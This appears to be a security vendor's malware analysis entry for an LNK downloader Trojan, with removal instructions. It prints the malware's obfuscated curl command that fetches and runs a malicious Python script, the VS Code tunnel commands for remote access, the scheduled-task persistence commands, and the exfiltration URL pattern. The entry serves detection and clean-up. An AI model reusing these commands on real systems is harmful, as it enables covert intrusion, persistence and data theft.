Analysis by: Neljorn Nathaniel Aguas

ALIASES:

HEUR:Trojan.WinLNK.Agent.gen (KASPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 2,044 bytes
File Type: LNK
Initial Samples Received Date: 30 Sep 2024
Payload: Drops files, Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %AppDataLocal%\Microsoft\Python\update.py
  • %AppDataLocal%\Microsoft\python.zip
    • After extracting to %AppDataLocal%\Microsoft\Python:
      • _asyncio.pyd
      • _bz2.pyd
      • _ctypes.pyd
      • _decimal.pyd
      • _elementtree.pyd
      • _hashlib.pyd
      • _lzma.pyd
      • _msi.pyd
      • _multiprocessing.pyd
      • _overlapped.pyd
      • _queue.pyd
      • _socket.pyd
      • _sqlite3.pyd
      • _ssl.pyd
      • _uuid.pyd
      • _wmi.pyd
      • _zoneinfo.pyd
      • libcrypto-3.dll
      • libffi-8.dll
      • libssl-3.dll
      • LICENSE.txt
      • pyexpat.pyd
      • python.cat
      • python.exe
      • python.zip
      • python3.dll
      • python312._pth
      • python312.dll
      • python312.zip
      • pythonw.exe
      • select.pyd
      • sqlite3.dll
      • unicodedata.pyd
      • vcruntime140_1.dll
      • vcruntime140.dll
      • winsound.pyd

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "%System%\cmd.exe" /c start msg {Username} "安裝成功" & c^u^r^l -s -k https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip -o "%AppDataLocal%\Microsoft\python.zip" & timeout 10 & mkdir "%AppDataLocal%\Microsoft\Python" & tar -xf "%AppDataLocal%\Microsoft\python.zip" -C "%AppDataLocal%\Microsoft\Python" & c^u^r^l -s -k https://{BLOCKED}e.ee/r/DQjrd/0 -o "%AppDataLocal%\Microsoft\Python\update.py" & start "" /B "%AppDataLocal%\Microsoft\Python\pythonw.exe" "%AppDataLocal%\Microsoft\Python\update.py"

It creates the following folders:

  • %AppDataLocal%\Microsoft\Python

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}e.ee/r/DQjrd/0

It connects to the following URL(s) to download its component file(s):

  • https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip

It saves the files it downloads using the following names:

  • %AppDataLocal%\Microsoft\python.zip → legitimate Python 3.12.5 x64 zip file
  • %AppDataLocal%\Microsoft\Python\update.py → malicious Python code

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan does the following:

  • It sends Windows message "安裝成功" translated to "Installation successful".
  • It downloads a legitimate 64-bit Python 3.12.5 embedded zip file and extracts its contents.
  • It downloads a malicious Python script file from a URL and executes using the extracted Python package.
  • It requires the following command line tools to proceed with its intended routine:
    • curl
    • tar
  • The executed Python code does the following:
    • It fetches running processes using tasklist command.
    • It connects to the following URL(s) to download its component file(s):
      • https://{BLOCKED}95.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip
    • It saves the files it downloads using the following names:
      • %AppDataLocal%\Microsoft\vscode.zip → contains a file named code.exe
    • It adds the following folders:
      • %AppDataLocal%\Microsoft\VSCode
    • It extracts the zip file into the created folder with the following filename:
      • %AppDataLocal%\Microsoft\VSCode\code.exe
    • After extraction, it deletes the previously downloaded zip file.
    • It adds the following processes:
      • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe tunnel --accept-server-license-terms user logout"
      • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe --locale en-US tunnel --accept-server-license-terms --name "{Computer Name}"
        • Saves the output into the following files:
          • %AppDataLocal%\Microsoft\VSCode\output.txt
          • %AppDataLocal%\Microsoft\VSCode\output2.txt
      • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /st 08:00 /sc HOURLY /mo 4 /f
      • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /sc ONLOGON /ru SYSTEM /rl HIGHEST /f
    • It retrieves the following information from the affected system:
      • System Locale
      • Computer Name
      • Username
      • User Domain
      • %Program Files% Contents
      • %ProgramData% Contents
      • %System Root%\Users Contents
    • It encodes the collected information into a Base64 format.
    • It sends the gathered information via HTTP POST to the following URL:
      • http://{BLOCKED}o.com/r/2yxp98b3/{Encoded Base64 String of Collected information}
    • It adds the following scheduled tasks:
      • If executed as user:
        • Location: {Root Directory}
          Name: MicrosoftHealthcareMonitorNode
          Trigger: One time at 8:00 AM on {Scheduled Task Create Time} → After triggered, repeat every 04:00:00 indefinitely.
          Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py
      • If executed as an administrator:
        • Location: {Root Directory}
          Name: MicrosoftHealthcareMonitorNode
          Trigger: At log on of any user
          Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 19.624.03
FIRST VSAPI PATTERN DATE: 01 Oct 2024
VSAPI OPR PATTERN File: 19.625.00
VSAPI OPR PATTERN Date: 02 Oct 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks while in Safe Mode

  1. Still in safe mode, the following {Task Name}-{Task to be run} listed should be used in the steps identified below:
    • {Task Name} → MicrosoftHealthcareMonitorNode
    • {Task to be run} → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py
  2. For Windows 7 and Server 2008 (R2) users, click Start>Computer.
    • For Windows 8, 8.1, 10, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
  3. In the Search Computer/This PC input box, type:
    • %System%\Tasks\{Task Name}
  4. Once located, select the file then press SHIFT+DELETE to delete it.
  5. Open Registry Editor. To do this:
    • For Windows 7 and Server 2008 (R2) users, click the Start button, type regedit in the Search input field, and press Enter.
    • For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower left corner of the screen, click Run, type regedit in the text box
  6. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  7. Locate the created entry and take note of the registry value's data:
    • ID={Task Data}
  8. After taking note of the data, delete the registry key:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  9. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. Still in the left panel, locate and delete the registry key with the same name as the located Task Data in step #6:
    • ={Task Data}
  11. Close Registry Editor.

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %AppDataLocal%\Microsoft\Python\update.py
  • %AppDataLocal%\Microsoft\Python\_asyncio.pyd
  • %AppDataLocal%\Microsoft\Python\_bz2.pyd
  • %AppDataLocal%\Microsoft\Python\_ctypes.pyd
  • %AppDataLocal%\Microsoft\Python\_decimal.pyd
  • %AppDataLocal%\Microsoft\Python\_elementtree.pyd
  • %AppDataLocal%\Microsoft\Python\_hashlib.pyd
  • %AppDataLocal%\Microsoft\Python\_lzma.pyd
  • %AppDataLocal%\Microsoft\Python\_msi.pyd
  • %AppDataLocal%\Microsoft\Python\_multiprocessing.pyd
  • %AppDataLocal%\Microsoft\Python\_overlapped.pyd
  • %AppDataLocal%\Microsoft\Python\_queue.pyd
  • %AppDataLocal%\Microsoft\Python\_socket.pyd
  • %AppDataLocal%\Microsoft\Python\_sqlite3.pyd
  • %AppDataLocal%\Microsoft\Python\_ssl.pyd
  • %AppDataLocal%\Microsoft\Python\_uuid.pyd
  • %AppDataLocal%\Microsoft\Python\_wmi.pyd
  • %AppDataLocal%\Microsoft\Python\_zoneinfo.pyd
  • %AppDataLocal%\Microsoft\Python\libcrypto-3.dll
  • %AppDataLocal%\Microsoft\Python\libffi-8.dll
  • %AppDataLocal%\Microsoft\Python\libssl-3.dll
  • %AppDataLocal%\Microsoft\Python\LICENSE.txt
  • %AppDataLocal%\Microsoft\Python\pyexpat.pyd
  • %AppDataLocal%\Microsoft\Python\python.cat
  • %AppDataLocal%\Microsoft\Python\python.exe
  • %AppDataLocal%\Microsoft\Python\python.zip
  • %AppDataLocal%\Microsoft\Python\python3.dll
  • %AppDataLocal%\Microsoft\Python\python312._pth
  • %AppDataLocal%\Microsoft\Python\python312.dll
  • %AppDataLocal%\Microsoft\Python\python312.zip
  • %AppDataLocal%\Microsoft\Python\pythonw.exe
  • %AppDataLocal%\Microsoft\Python\select.pyd
  • %AppDataLocal%\Microsoft\Python\sqlite3.dll
  • %AppDataLocal%\Microsoft\Python\unicodedata.pyd
  • %AppDataLocal%\Microsoft\Python\vcruntime140_1.dll
  • %AppDataLocal%\Microsoft\Python\vcruntime140.dll
  • %AppDataLocal%\Microsoft\Python\winsound.pyd
  • %AppDataLocal%\Microsoft\VSCode\code.exe
  • %AppDataLocal%\Microsoft\VSCode\output.txt
  • %AppDataLocal%\Microsoft\VSCode\output2.txt
  • %AppDataLocal%\Microsoft\python.zip
  • %AppDataLocal%\Microsoft\vscode.zip

Step 6

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %AppDataLocal%\Microsoft\Python
  • %AppDataLocal%\Microsoft\VSCode

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.LNK.DOWNLOADER.D. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.